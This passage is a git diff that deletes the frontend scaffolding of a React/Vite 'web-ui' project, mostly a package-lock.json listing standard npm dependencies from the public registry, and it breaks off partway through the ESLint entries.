js.configs.recommended, - tseslint.configs.recommended, - reactHooks.configs.flat.recommended, - reactRefresh.configs.vite, - ], - languageOptions: { - ecmaVersion: 2020, - globals: globals.browser, - }, - }, -]) diff --git a/web-ui/index.html b/web-ui/index.html deleted file mode 100644 index af1d0668..00000000 --- a/web-ui/index.html +++ /dev/null @@ -1,13 +0,0 @@ - - - - - - - web-ui - - -
- - - diff --git a/web-ui/package-lock.json b/web-ui/package-lock.json deleted file mode 100644 index deaa0502..00000000 --- a/web-ui/package-lock.json +++ /dev/null @@ -1,5946 +0,0 @@ -{ - "name": "web-ui", - "version": "0.0.0", - "lockfileVersion": 3, - "requires": true, - "packages": { - "": { - "name": "web-ui", - "version": "0.0.0", - "dependencies": { - "@radix-ui/react-alert-dialog": "^1.1.15", - "@radix-ui/react-collapsible": "^1.1.12", - "@radix-ui/react-dialog": "^1.1.15", - "@radix-ui/react-dropdown-menu": "^2.1.16", - "@radix-ui/react-label": "^2.1.8", - "@radix-ui/react-progress": "^1.1.8", - "@radix-ui/react-scroll-area": "^1.2.10", - "@radix-ui/react-select": "^2.2.6", - "@radix-ui/react-separator": "^1.1.8", - "@radix-ui/react-slot": "^1.2.4", - "@radix-ui/react-switch": "^1.2.6", - "@radix-ui/react-tabs": "^1.1.13", - "@radix-ui/react-tooltip": "^1.2.8", - "@rollup/rollup-linux-x64-gnu": "^4.61.1", - "class-variance-authority": "^0.7.1", - "clsx": "^2.1.1", - "i18next": "^25.7.3", - "lucide-react": "^0.562.0", - "react": "^19.2.0", - "react-dom": "^19.2.0", - "react-i18next": "^16.5.0", - "react-router-dom": "^7.11.0", - "recharts": "^3.6.0", - "tailwind-merge": "^3.4.0", - "tailwindcss-animate": "^1.0.7" - }, - "devDependencies": { - "@eslint/js": "^9.39.1", - "@types/node": "^24.10.4", - "@types/react": "^19.2.5", - "@types/react-dom": "^19.2.3", - "@vitejs/plugin-react": "^5.1.1", - "autoprefixer": "^10.4.23", - "eslint": "^9.39.1", - "eslint-plugin-react-hooks": "^7.0.1", - "eslint-plugin-react-refresh": "^0.4.24", - "globals": "^16.5.0", - "postcss": "^8.5.6", - "tailwindcss": "^3.4.19", - "typescript": "~5.9.3", - "typescript-eslint": "^8.46.4", - "vite": "^7.2.4" - } - }, - "node_modules/@alloc/quick-lru": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", - "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", - "license": "MIT", - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/@babel/code-frame": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.27.1.tgz", - "integrity": "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-validator-identifier": "^7.27.1", - "js-tokens": "^4.0.0", - "picocolors": "^1.1.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/compat-data": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.28.5.tgz", - "integrity": "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/core": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.28.5.tgz", - "integrity": "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-compilation-targets": "^7.27.2", - "@babel/helper-module-transforms": "^7.28.3", - "@babel/helpers": "^7.28.4", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/traverse": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/remapping": "^2.3.5", - "convert-source-map": "^2.0.0", - "debug": "^4.1.0", - "gensync": "^1.0.0-beta.2", - "json5": "^2.2.3", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/babel" - } - }, - "node_modules/@babel/generator": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.28.5.tgz", - "integrity": "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/parser": "^7.28.5", - "@babel/types": "^7.28.5", - "@jridgewell/gen-mapping": "^0.3.12", - "@jridgewell/trace-mapping": "^0.3.28", - "jsesc": "^3.0.2" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.27.2.tgz", - "integrity": "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/compat-data": "^7.27.2", - "@babel/helper-validator-option": "^7.27.1", - "browserslist": "^4.24.0", - "lru-cache": "^5.1.1", - "semver": "^6.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-globals": { - "version": "7.28.0", - "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-imports": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.27.1.tgz", - "integrity": "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/traverse": "^7.27.1", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-module-transforms": { - "version": "7.28.3", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.3.tgz", - "integrity": "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-module-imports": "^7.27.1", - "@babel/helper-validator-identifier": "^7.27.1", - "@babel/traverse": "^7.28.3" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-plugin-utils": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.27.1.tgz", - "integrity": "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-string-parser": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helper-validator-option": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/helpers": { - "version": "7.28.4", - "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.4.tgz", - "integrity": "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.4" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/parser": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz", - "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/types": "^7.28.5" - }, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-self": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-transform-react-jsx-source": { - "version": "7.27.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-plugin-utils": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/runtime": { - "version": "7.28.4", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.28.4.tgz", - "integrity": "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ==", - "license": "MIT", - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/template": { - "version": "7.27.2", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz", - "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/parser": "^7.27.2", - "@babel/types": "^7.27.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/traverse": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz", - "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/code-frame": "^7.27.1", - "@babel/generator": "^7.28.5", - "@babel/helper-globals": "^7.28.0", - "@babel/parser": "^7.28.5", - "@babel/template": "^7.27.2", - "@babel/types": "^7.28.5", - "debug": "^4.3.1" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@babel/types": { - "version": "7.28.5", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz", - "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/helper-string-parser": "^7.27.1", - "@babel/helper-validator-identifier": "^7.28.5" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.2.tgz", - "integrity": "sha512-GZMB+a0mOMZs4MpDbj8RJp4cw+w1WV5NYD6xzgvzUJ5Ek2jerwfO2eADyI6ExDSUED+1X8aMbegahsJi+8mgpw==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.2.tgz", - "integrity": "sha512-DVNI8jlPa7Ujbr1yjU2PfUSRtAUZPG9I1RwW4F4xFB1Imiu2on0ADiI/c3td+KmDtVKNbi+nffGDQMfcIMkwIA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.2.tgz", - "integrity": "sha512-pvz8ZZ7ot/RBphf8fv60ljmaoydPU12VuXHImtAs0XhLLw+EXBi2BLe3OYSBslR4rryHvweW5gmkKFwTiFy6KA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.2.tgz", - "integrity": "sha512-z8Ank4Byh4TJJOh4wpz8g2vDy75zFL0TlZlkUkEwYXuPSgX8yzep596n6mT7905kA9uHZsf/o2OJZubl2l3M7A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.2.tgz", - "integrity": "sha512-davCD2Zc80nzDVRwXTcQP/28fiJbcOwvdolL0sOiOsbwBa72kegmVU0Wrh1MYrbuCL98Omp5dVhQFWRKR2ZAlg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.2.tgz", - "integrity": "sha512-ZxtijOmlQCBWGwbVmwOF/UCzuGIbUkqB1faQRf5akQmxRJ1ujusWsb3CVfk/9iZKr2L5SMU5wPBi1UWbvL+VQA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.2.tgz", - "integrity": "sha512-lS/9CN+rgqQ9czogxlMcBMGd+l8Q3Nj1MFQwBZJyoEKI50XGxwuzznYdwcav6lpOGv5BqaZXqvBSiB/kJ5op+g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.2.tgz", - "integrity": "sha512-tAfqtNYb4YgPnJlEFu4c212HYjQWSO/w/h/lQaBK7RbwGIkBOuNKQI9tqWzx7Wtp7bTPaGC6MJvWI608P3wXYA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.2.tgz", - "integrity": "sha512-vWfq4GaIMP9AIe4yj1ZUW18RDhx6EPQKjwe7n8BbIecFtCQG4CfHGaHuh7fdfq+y3LIA2vGS/o9ZBGVxIDi9hw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.2.tgz", - "integrity": "sha512-hYxN8pr66NsCCiRFkHUAsxylNOcAQaxSSkHMMjcpx0si13t1LHFphxJZUiGwojB1a/Hd5OiPIqDdXONia6bhTw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.2.tgz", - "integrity": "sha512-MJt5BRRSScPDwG2hLelYhAAKh9imjHK5+NE/tvnRLbIqUWa+0E9N4WNMjmp/kXXPHZGqPLxggwVhz7QP8CTR8w==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.2.tgz", - "integrity": "sha512-lugyF1atnAT463aO6KPshVCJK5NgRnU4yb3FUumyVz+cGvZbontBgzeGFO1nF+dPueHD367a2ZXe1NtUkAjOtg==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.2.tgz", - "integrity": "sha512-nlP2I6ArEBewvJ2gjrrkESEZkB5mIoaTswuqNFRv/WYd+ATtUpe9Y09RnJvgvdag7he0OWgEZWhviS1OTOKixw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.2.tgz", - "integrity": "sha512-C92gnpey7tUQONqg1n6dKVbx3vphKtTHJaNG2Ok9lGwbZil6DrfyecMsp9CrmXGQJmZ7iiVXvvZH6Ml5hL6XdQ==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.2.tgz", - "integrity": "sha512-B5BOmojNtUyN8AXlK0QJyvjEZkWwy/FKvakkTDCziX95AowLZKR6aCDhG7LeF7uMCXEJqwa8Bejz5LTPYm8AvA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.2.tgz", - "integrity": "sha512-p4bm9+wsPwup5Z8f4EpfN63qNagQ47Ua2znaqGH6bqLlmJ4bx97Y9JdqxgGZ6Y8xVTixUnEkoKSHcpRlDnNr5w==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.2.tgz", - "integrity": "sha512-uwp2Tip5aPmH+NRUwTcfLb+W32WXjpFejTIOWZFw/v7/KnpCDKG66u4DLcurQpiYTiYwQ9B7KOeMJvLCu/OvbA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.2.tgz", - "integrity": "sha512-Kj6DiBlwXrPsCRDeRvGAUb/LNrBASrfqAIok+xB0LxK8CHqxZ037viF13ugfsIpePH93mX7xfJp97cyDuTZ3cw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.2.tgz", - "integrity": "sha512-HwGDZ0VLVBY3Y+Nw0JexZy9o/nUAWq9MlV7cahpaXKW6TOzfVno3y3/M8Ga8u8Yr7GldLOov27xiCnqRZf0tCA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.2.tgz", - "integrity": "sha512-DNIHH2BPQ5551A7oSHD0CKbwIA/Ox7+78/AWkbS5QoRzaqlev2uFayfSxq68EkonB+IKjiuxBFoV8ESJy8bOHA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.2.tgz", - "integrity": "sha512-/it7w9Nb7+0KFIzjalNJVR5bOzA9Vay+yIPLVHfIQYG/j+j9VTH84aNB8ExGKPU4AzfaEvN9/V4HV+F+vo8OEg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.2.tgz", - "integrity": "sha512-LRBbCmiU51IXfeXk59csuX/aSaToeG7w48nMwA6049Y4J4+VbWALAuXcs+qcD04rHDuSCSRKdmY63sruDS5qag==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.2.tgz", - "integrity": "sha512-kMtx1yqJHTmqaqHPAzKCAkDaKsffmXkPHThSfRwZGyuqyIeBvf08KSsYXl+abf5HDAPMJIPnbBfXvP2ZC2TfHg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.2.tgz", - "integrity": "sha512-Yaf78O/B3Kkh+nKABUF++bvJv5Ijoy9AN1ww904rOXZFLWVc5OLOfL56W+C8F9xn5JQZa3UX6m+IktJnIb1Jjg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.2.tgz", - "integrity": "sha512-Iuws0kxo4yusk7sw70Xa2E2imZU5HoixzxfGCdxwBdhiDgt9vX9VUCBhqcwY7/uh//78A1hMkkROMJq9l27oLQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.2", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.2.tgz", - "integrity": "sha512-sRdU18mcKf7F+YgheI/zGf5alZatMUTKj/jNS6l744f9u3WFu4v7twcUI9vu4mknF4Y9aDlblIie0IM+5xxaqQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.0", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz", - "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.1", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", - "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - 